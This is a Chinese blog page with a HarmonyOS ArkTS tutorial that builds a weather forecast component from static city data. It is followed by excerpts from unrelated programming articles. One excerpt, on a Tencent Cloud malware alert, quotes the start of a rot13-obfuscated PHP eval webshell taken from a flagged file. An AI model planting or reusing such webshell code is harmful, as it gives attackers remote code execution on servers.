当前位置：首页 > news >正文

「Mac畅玩鸿蒙与硬件46」UI互动应用篇23 - 自定义天气预报组件

news 来源：原创 2025/5/24 19:22:46

本篇将带你实现一个自定义天气预报组件。用户可以通过选择不同城市来获取相应的天气信息，页面会显示当前城市的天气图标、温度及天气描述。这一功能适合用于动态展示天气信息的小型应用。

在这里插入图片描述

关键词

UI互动应用
天气预报
数据绑定
动态展示
状态管理

一、功能说明

自定义天气预报组件通过静态数据模拟天气服务，用户可以选择城市，并实时显示该城市的天气信息，包括天气图标、温度及文字描述。

二、所需组件

@Entry 和 @Component 装饰器
Column 和 Row 布局组件
Text 组件用于显示天气信息
Button 组件用于城市选择
@State 修饰符用于状态管理
Image 组件用于展示天气图标

三、项目结构

项目名称：WeatherForecastApp
自定义组件名称：WeatherForecastPage
代码文件：WeatherForecastPage.ets、Index.ets

四、代码实现

// 文件名：WeatherForecastPage.ets@Component
export struct WeatherForecastPage {@State selectedCity: string = '北京'; // 默认城市@State weatherIcon: string = 'app.media.sunny';@State temperature: string = '25°C';@State description: string = '晴天';// 更新天气信息updateWeather() {if (this.selectedCity === '北京') {this.weatherIcon = 'app.media.sunny';this.temperature = '25°C';this.description = '晴天';} else if (this.selectedCity === '上海') {this.weatherIcon = 'app.media.rainy';this.temperature = '18°C';this.description = '小雨';} else if (this.selectedCity === '广州') {this.weatherIcon = 'app.media.cloudy';this.temperature = '28°C';this.description = '多云';}}build() {Column({ space: 20 }) {Text('请选择城市：').fontSize(20).alignSelf(ItemAlign.Start);// 城市按钮Button('北京').onClick(() => {this.selectedCity = '北京'; // 设置选择的城市this.updateWeather(); // 更新天气信息});Button('上海').onClick(() => {this.selectedCity = '上海';this.updateWeather();});Button('广州').onClick(() => {this.selectedCity = '广州';this.updateWeather();});// 展示天气信息Column({ space: 10 }) {Image($r(this.weatherIcon)) // 动态显示天气图标.width(100).height(100).alignSelf(ItemAlign.Center);Text(`${this.selectedCity} - ${this.temperature}`).fontSize(24).fontWeight(FontWeight.Bold).alignSelf(ItemAlign.Center);Text(this.description).fontSize(18).alignSelf(ItemAlign.Center);}}.padding(20).width('100%').height('100%');}
}

// 文件名：Index.etsimport { WeatherForecastPage } from './WeatherForecastPage';@Entry
@Component
struct Index {build() {Column() {WeatherForecastPage() // 调用天气预报页面}.padding(20)}
}

效果示例：用户可以通过点击城市按钮（如北京、上海、广州）实时查看该城市的天气图标、温度及描述。

五、代码解读

城市选择功能
- 通过 Button 组件创建多个城市选择按钮，用户点击按钮后会更新显示该城市的天气信息。
状态管理
- 使用 @State 修饰符管理当前选择的城市、天气图标、温度和天气描述，实现动态更新。
天气信息展示
- 使用 Image 组件动态显示天气图标，Text 组件展示城市、温度及天气描述。

六、优化建议

支持动态数据源
- 可以通过后端接口动态获取天气信息，而不是使用静态数据。
添加更多天气数据
- 可以扩展显示风速、湿度等天气信息，提供更全面的天气概览。
UI美化
- 增加背景色、渐变效果等，让界面更加丰富和美观。

七、效果展示

城市选择：用户可以通过按钮选择不同城市，页面会实时更新显示该城市的天气信息。
天气展示：显示当前城市的天气图标、温度和描述。

八、相关知识点

「Mac畅玩鸿蒙与硬件31」UI互动应用篇8 - 自定义评分星级组件
「Mac畅玩鸿蒙与硬件11」鸿蒙UI组件篇1 - Text和Button组件详解

小结

通过自定义天气预报组件的实现，用户可以体验到基于静态数据的城市选择与天气展示功能。该应用适合用于天气展示及实时状态更新的场景。

下一篇预告

在下一篇「UI互动应用篇24 - 虚拟音乐控制台」中，我们将探讨如何实现一个虚拟音乐控制台，支持播放、暂停、切换歌曲等功能，为用户提供完整的音乐交互体验。

上一篇：「Mac畅玩鸿蒙与硬件45」UI互动应用篇22 - 评分统计工具

下一篇：「Mac畅玩鸿蒙与硬件47」UI互动应用篇24 - 虚拟音乐控制台

作者：SoraLuna
链接：https://www.nutpi.net/thread?topicId=501
來源：坚果派
著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。

「Mac畅玩鸿蒙与硬件46」UI互动应用篇23 - 自定义天气预报组件

本篇将带你实现一个自定义天气预报组件。用户可以通过选择不同城市来获取相应的天气信息，页面会显示当前城市的天气图标、温度及天气描述。这一功能适合用于动态展示天气信息的小型应用。关键词 UI互动应用天气预报数据绑定动态展示状态管理一、功能说明自定义…...

编程日记 2025/5/24 19:22:46

深圳龙岗戴尔dell r730xd服务器故障维修

深圳龙岗一台DELL POWEREDGE R730XD服务器系统故障问题处理： 1：客户工厂年底产线整改，时不时的会意外断电，导致服务器也频繁停机， 2：多次异常停机后导致服务器开机后windows server系统无法正常启动了&…...

编程日记 2025/5/24 18:45:34

lxml提取某个外层标签里的所有文本

html如下 <div data-v-1cf6f280"" class"analysis-content">选项D错误：<strong>在衡量通货膨胀时，</strong><strong>消费者物价指数使用得最多、最普遍</strong>。 </div> 解析html文本 fro…...

编程日记 2025/5/20 16:29:54

【AI图像生成网站Golang】项目测试与优化

AI图像生成网站目录一、项目介绍二、雪花算法三、JWT认证与令牌桶算法四、项目架构五、图床上传与图像生成API搭建六、项目测试与优化六、项目测试与优化在开发过程中，性能优化是保证项目可扩展性和用户体验的关键步骤。本文将详细介绍我如何使用一…...

编程日记 2025/5/22 8:52:09

使用Docker启用MySQL8.0.11

目录一、Docker减小镜像大小的方式 1、基础镜像选择 2、减少镜像层数 3、清理无用文件和缓存 4、优化文件复制（COPY和ADD指令） 二、Docker镜像多阶段构建 1、什么是dockers镜像多阶段构建 1.1 概念介绍 1.2 构建过程和优势 2、怎样在Dockerfil…...

编程日记 2025/5/21 23:17:32

目录部署Mysql 镜像和容器常见命令部署Mysql 可以有多个容器 docker run -d \--name mysql \-p 3306:3306 \-e TZAsia/Shanghai \-e MYSQL_ROOT_PASSWORD123 \mysql docker run -d \--name mysql2 \-p 3307:3307 \-e TZAsia/Shanghai \-e MYSQL_ROOT_PASSWORD123 \mys…...

编程日记 2025/5/19 5:04:27

Windows部署Docker及PostgreSQL数据库相关操作

一、Windows安装Docker 1.wsl安装以管理员身份启动命令行，运行：wsl --install； 安装结束后，重启电脑，以管理员身份启动命令行，运行：wsl --install -d Ubuntu； 中间需要输入用户名…...

编程日记 2025/5/22 5:56:11

Halcon例程代码解读:安全环检测(附源码|图像下载链接)

安全环检测核心思路与代码详解项目目标本项目的目标是检测图像中的安全环位置和方向。通过形状匹配技术，从一张模型图像中提取安全环的特征，并在后续图像中识别多个实例，完成检测和方向标定。实现思路安全环检测分为以下核心步骤&…...

编程日记 2025/5/21 1:52:45

Unity3D用正则判断身份证号或邮箱

系列文章目录 unity工具文章目录系列文章目录👉前言👉一、正则判断邮箱格式👉二、正则判断身份证号👉壁纸分享👉总结👉前言 C#正则表达式（Regex）是一种用来匹配字符串模式的强大工具。在C#中，可以使用System.Text.RegularExpressions命名空间下的Regex类来处…...

编程日记 2025/5/23 0:12:11

PostgreSQL表达式的类型

PostgreSQL表达式是数据库查询中非常重要的组成部分，它们由一个或多个值、运算符和PostgreSQL函数组合而成，用于计算出一个单一的结果。这些表达式类似于公式，可以用查询语言编写，并用于查询数据库中的特定数据集。 PostgreSQL表…...

编程日记 2025/5/24 19:04:13

C++简明教程（文章要求学过一点C语言）（10）

类的教程 C 类的完整教程 C 中，类（class）是面向对象编程的核心概念，用于定义对象的属性（数据成员）和行为（成员函数）。本教程将带你从零开始，循序渐进地学习如何定义和使…...

编程日记 2025/5/21 22:33:38

从腾讯云的恶意文件查杀学习下PHP的eval函数

问题来自于腾讯云的主机安全通知： 🚀一键接入，畅享GPT及AI大模型服务！【顶级API中转品牌】： https://api.ablai.top/ 病毒文件副本内容如下： <?php function x($x){eval($x);}x(str_rot13(riny($_CBF…...

编程日记 2025/5/23 3:17:22

OpenWRT——官方镜像安装Docker(网络环境需设置)并配置Sun-Panel

Pro更多功能预览地址https://pro.sun-panel.top/#/hpage/pro Github地址https://github.com/hslr-s/sun-panel?tabreadme-ov-file 首先确认宿主机网络环境符合要求 curl Google.com1.确认没问题后开始安装Docker opkg update opkg install dockerd docker luci-app-docker…...

编程日记 2025/5/20 6:14:28

MySQL 中的常见错误与排查

在 MySQL 数据库的日常运维中，管理员可能会遇到各种错误。无论是查询性能问题、连接异常、数据一致性问题，还是磁盘空间不足等，及时排查并解决这些问题是保证数据库稳定运行的关键。本文将列出 MySQL 中一些常见的错误及其排查方法。一、连接…...

编程日记 2025/5/24 3:12:13

workman服务端开发模式-应用开发-gateway长链接端工作原理

一、长链接的工作原理 Register类其实也是基于基础的Worker开发的。Gateway进程和BusinessWorker进程启动后分别向Register进程注册自己的通讯地址，Gateway进程和BusinessWorker通过Register进程得到通讯地址后，就可以建立起连接并通讯了。而Gateway进程…...

编程日记 2025/5/20 6:44:25

8位移位寄存器的verilog语言

module shift_register (output reg [7:0] Q, // 8位移位寄存器输出input D, // 输入数据input rst, // 复位信号input clk // 时钟信号 );always (posedge clk) beginif (!rst)Q < 8b00000000; // 复位时将Q清零elseQ < {Q[6:0], D}; // 否则…...

编程日记 2025/5/23 12:24:58

Android学习(五)-Kotlin编程语言-面向对象中的继承-构造函数-接口三模块学习

首先，我们需要定义一个 Person 类： open class Person {var name ""var age 0fun eat() {println("$name is eating.")} } 注意，Person 类前面加上了 open 关键字，表示这个类可以被继承。在 Kotlin 中&am…...

编程日记 2025/5/19 12:39:33

Java 集合框架中的 List、ArrayList 和泛型实例

— Java 集合框架中的 List、ArrayList 和泛型在 Java 中，集合框架提供了许多不同类型的集合类，用于存储和操作对象。List 和 ArrayList 是最常用的两种集合类型，而泛型（Generics）则是 Java 中的一项重要特性&…...

编程日记 2025/5/19 10:46:09

计算机网络-L2TP VPN基础概念与原理

一、概述前面学习了GRE和IPSec VPN，今天继续学习另外一个也很常见的VPN类型-L2TP VPN。 L2TP（Layer 2 Tunneling Protocol） 协议结合了L2F协议和PPTP协议的优点，是IETF有关二层隧道协议的工业标准。L2TP是虚拟私有拨号网VPDN&…...

编程日记 2025/5/20 14:08:55

【Rust自学】4.4. 引用与借用

4.4.0 写在正文之前这一节的内容其实就相当于C的智能指针移动语义在编译器层面做了一些约束。Rust中引用的写法通过编译器的约束写成了C中最理想、最规范的指针写法。所以学过C的人对这一章肯定会非常熟悉。喜欢的话别忘了点赞、收藏加关注哦（加关注即可阅读全文…...

编程日记 2025/5/24 10:53:10

LLaMA-Factory 单卡3080*2 deepspeed zero3 微调Qwen2.5-7B-Instruct

环境安装 git clone https://gitcode.com/gh_mirrors/ll/LLaMA-Factory.gitcd LLaMA-Factorypip install -e ".[torch,metrics]"pip install deepspeed 下载模型 pip install modelscope modelscope download --model Qwen/Qwen2.5-7B-Instruct --local_dir /roo…...

编程日记 2025/5/20 8:35:51

[python SQLAlchemy数据库操作入门]-12.直接执行 SQL 语句处理股票数据

哈喽，大家好，我是木头左！ 1. SQLAlchemy Core 简介 SQLAlchemy Core 是 SQLAlchemy 库的一个模块，它允许用户直接执行 SQL 语句而不必使用 ORM（对象关系映射）。对于需要精细控制 SQL 查询或处理复杂数据库操作的情况，SQLAlchemy Core 提供了一种灵活而强大的方式来与数…...

编程日记 2025/5/19 18:22:15

【Unity3D】实现可视化链式结构数据（节点数据）

关键词：UnityEditor、可视化节点编辑、Unity编辑器自定义窗口工具使用Newtonsoft.Json、UnityEditor相关接口实现主要代码： Handles.DrawBezier(起点，终点，起点切线向量，终点切线向量，颜色，n…...

编程日记 2025/5/15 4:56:16

C# WinForm移除非法字符的输入框

C# WinForm移除非法字符的输入框文章目录 namespace System.Windows.Forms {using System.ComponentModel;/// <summary>/// 支持移除非法字符的输入框。/// </summary>public class RemoveInvalidCharTextBox : TextBox{/// <summary>/// 测试代码&#…...

编程日记 2025/5/20 23:00:47

linux安装宝塔面板及git

宝塔面板安装教程：https://www.bt.cn/new/download.html?bt_lybaidu&sdclkidALfs15q615oG15As&bd_vid9358688624393223862 Centos/OpenCloud/Alibaba稳定版9.0.0 urlhttps://download.bt.cn/install/install_lts.sh;if [ -f /usr/bin/curl ];then curl -s…...

编程日记 2025/5/23 17:52:15

GoTime#34期 Pachyderm, Provenance, Data Lakes

本篇内容是根据2017年2月份#34 Pachyderm, Provenance, Data Lakes音频录制内容的整理与翻译 Joe Doliner 加入了节目，谈论使用 Pachyderm 管理数据湖、数据容器、溯源(provenance) 以及其他有趣的 Go 项目和新闻。 Erik St. Martin: 大家好，欢迎收听新…...

编程日记 2025/5/19 22:31:01

数据库的三范式是什么？

第一范式（1NF） 每列的原子性，表中的每一个字段都是不可分割的，同一列中不能有多个值。第一范式是对关系模式的基本要求，不满足第一范式的数据库不是关系型数据库。・不满足第一范式的示例： 学生编号学生…...

编程日记 2025/5/21 6:47:15

LOS/NLOS环境建模与三维TOA定位，MATLAB仿真程序，可自定义锚点数量和轨迹点长度

本代码的主要功能是建模 LOS（视距）和 NLOS（非视距）环境下的定位系统，估计目标的动态位置，三维空间文章目录运行结果源代码代码介绍总结运行结果 10个点的轨迹定位： 50个点的轨迹定位&#…...

编程日记 2025/5/18 8:27:45

css

已经学完html了，继续学习前端三剑客html、css、js之一的css。😀 1、什么是css css：用于网页结构的布局和修饰的一种样式脚本层叠样式表：(英文全称：Cascading Style Sheets)， 简称：样式表&…...

编程日记 2025/5/20 10:34:59

探索 Bokeh：轻松创建交互式数据可视化的强大工具

探索 Bokeh：轻松创建交互式数据可视化的强大工具在数据科学和数据分析领域，交互式数据可视化是一项不可或缺的技能。Bokeh 是一个强大的 Python 库，它可以帮助我们快速构建高质量的交互式图表和仪表盘，同时兼具高性能和灵活性。…...

编程日记 2025/5/22 0:05:17

光谱相机在农业的应用

一、作物生长监测1、营养状况评估原理：不同的营养元素在植物体内的含量变化会导致植物叶片或其他组织的光谱反射率特性发生改变。例如，氮元素是植物叶绿素的重要组成部分，植物缺氮时，叶绿素含量下降，其在可见光波段&a…...

编程日记 2025/5/20 10:35:06

SYD881X RTC定时器事件在调用timeAppClockSet后会出现比较大的延迟

RTC定时器事件在调用timeAppClockSet后会出现比较大的延迟这里RTC做了两个定时器一个是12秒,一个是185秒: #define RTCEVT_NUM ((uint8_t) 0x02)//当前定时器事件数#define RTCEVT_12S ((uint32_t) 0x0000002)//定时器1s事件 /*整分钟定时器事件，因为其余的…...

编程日记 2025/5/19 0:07:51

【Java基础面试题026】Java中的String、StringBuffer和StringBuilder的区别是什么？

回答重点他们都是Java中处理字符串的类，区别主要体现在可变性、线程安全和性能上 1）String 不可变：String是不可变类，字符串对象创建，存储在堆中，字符串内容存储在字符串常量池中，一旦创建内…...

编程日记 2025/5/19 8:11:12

Ajax中的axios

既然提到Ajax，那就先来说一说什么是Ajax吧关于Ajax Ajax的定义 Asynchronous JavaScript And XML：异步的JavaScript和XML。反正就是一句话总结： 使用XML HttpRequest 对象与服务器进行通讯。 AJAX 是一种在无需重新加载整个网页的情况下&…...

编程日记 2025/5/18 10:18:58

学习ASP.NET Core的身份认证（基于JwtBearer的身份认证3）

根据参考文献1中JWT Token的组成及计算方式，对照参考文献2中的界面，实现简单的JWT Token解析及验证程序，主要功能包括： 1）拆分Token字符串，将前两段使用Base64UrlEncoder类解码并转为UTF8字符串&#x…...

编程日记 2025/5/23 23:24:03

jmeter后端监视器

一、概述 JMeter 后端监听器（Backend Listener）是 JMeter 提供的一个功能强大的插件，用于将测试执行期间收集的性能数据发送到外部系统进行监控和分析。通过后端监听器，您可以实时地将 JMeter 测试执行期间收集的数据发送到外部系统，如图形化展示、数据库、数据分析工具等…...

编程日记 2025/5/22 10:36:37

vue CSS 自定义宽高翻页剥离效果

新增需求，客户需要类似PPT的剥离效果用于WEB页面翻页，查找资料后，参考下方的掘金博主的文章，并将HTML修改成vue的页面进行使用。其中宽度、高度改成了变量，样式style中的属性与宽高的关系整理成了公式进行动态计算。 …...

编程日记 2025/5/22 19:53:45

函数：参数与返回值类型

本文我们将深入探讨函数的参数和返回值类型，这是 TypeScript 中最常用的特性之一。了解如何为函数参数和返回值添加类型，不仅能帮助你避免常见的错误，还能提高代码的可读性和可维护性。在 JavaScript 中，函数的参数和返回值是没…...

编程日记 2025/5/21 6:45:58

【学习总结|DAY022】Java网络编程

网络编程是Java开发中非常重要的一环，它允许程序与网络上的其他设备进行数据交互。本文将介绍Java网络编程的基础知识，包括网络编程三要素、UDP和TCP通信协议，以及BS架构的原理。网络编程三要素网络通信至少需要三个要素：IP地…...

编程日记 2025/5/19 18:08:10

帝国cms同一条信息使用不同的多个内容页模板伪静态实现教程

理论上可以实现一条信息使用无数个内容页模板，实现过程： 1、/e/action目录下新建bishun.php，内容如下： <?php require(../class/connect.php); require(../class/db_sql.php); require(../class/functions.php); require(..…...

编程日记 2025/5/24 13:33:34

解决Linux＜云服务器＞访问HuggingFace的问题（操作记录）

一、准备配置文件 cache.db clash config.yaml Country.mmdb（1）cache.db、clash的获取链接：百度网盘提取码：82t0 （2）config.yaml、Country.mmdb的获取启动本地已安装的clash软件→找到“配置订阅”…...

编程日记 2025/5/23 6:55:00

selenium 报错 invalid argument: invalid locator

环境： Python3.12.2 selenium4.0 报错信息： invalid argument: invalid locator 错误分析： selenium语法错误,find_element方法少写By.XPATH参数错误语法如下： driver.find_element(//div[id"myid"]) 解决办…...

编程日记 2025/3/15 4:30:30

springboot——登录认证（包括jwt技术、拦截器过滤器）

实现登录的原理用户名和密码都输入正确，登录成功，否则，登录失败登录功能的本质：查询，根据用户名和密码查询员工信息实现登录的步骤登录需要确定用户的id、username、name、token（用于身份校验），对此要重新定义一个类LoginInfo public class LoginInfo {priva…...

编程日记 2025/5/23 6:42:30

【IN、NOT、AND、OR】在 MySql 中的使用方法，使用场景、注意事项

目录 IN NOT AND OR 注意事项： 使用场景： IN 用于指定某个字段的值在一个预定义的列表中。 SELECT * FROM users WHERE age IN (20, 25, 30);查询返回 age 字段是20、25 、30 的用户记录。 NOT 用于对条件进行否定。查询将返回与指定条件相…...

编程日记 2025/5/23 15:15:37

html ＜a＞设置发送邮件链接、打电话链接＜a href=“mailto:＞＜/a＞＜a href=“tel:＞＜/a＞

1.代码 <ul><li>电话：<a href"tel:18888888888">188-8888-8888</a></li><li>邮箱：<a href"mailto:10000qq.com">10000qq.com</a></li><li>邮箱：<a hre…...

编程日记 2025/5/23 19:16:37

Mac上详细配置java开发环境和软件(更新中)

文章目录概要JDK的配置JDK下载安装配置JDK环境变量文件 Idea的安装Mysql安装和配置Navicat Premium16.1安装安装Vscode安装和配置Maven配置本地仓库配置阿里云私服Idea集成Maven Cpolar快速入门概要这里使用的是M3型片 14.6版本的Mac 用到的资源放在网盘链接: https://pan…...

编程日记 2025/5/24 8:37:09

游戏渠道假量解决方案

某推广公司在推广过程中被查出“短期内点击量激增”“存在同一地址多次访问”“已注册用户重复注册”等数据作弊行为，法院判罚退还服务费200余万元，并赔偿违约金约350万元。某公司为提升其游戏在应用商店榜单排名，委托某网络公司进行下载、注…...

编程日记 2025/5/23 14:53:17

Java重要面试名词整理（二）：SpringMyBatis

文章目录 Spring篇Spring核心推断构造方法AOP动态代理Advice的分类Advisor的理解AOP相关的概念定义BeanASM技术JFR依赖注入循环依赖LifecycleSpring AOT Spring事务Spring事务传播机制Spring事务传播机制是如何实现的呢?Spring事务传播机制分类 SpringMVCHandlerHandlerMappi…...

编程日记 2025/5/20 18:16:50

powershell美化

powershell美化写在前面除了安装命令，其他都是测试命令，后续再写进配置文件安装主题控件安装主题oh-my-posh，powershell中执行 winget install JanDeDobbeleer.OhMyPosh -s winget oh-my-posh init pwsh | Invoke-Expression # 查看…...

编程日记 2025/5/20 1:58:14

D102【python 接口自动化学习】- pytest进阶之fixture用法

day102 pytest的usefixtures方法学习日期：20241219 学习目标：pytest基础用法 -- pytest的usefixtures方法学习笔记： fixture调用方法实际应用总结 pytest.mark.usefixtures(func)，pytest的usefixtures方法，无…...

编程日记 2025/5/24 10:53:13

关键词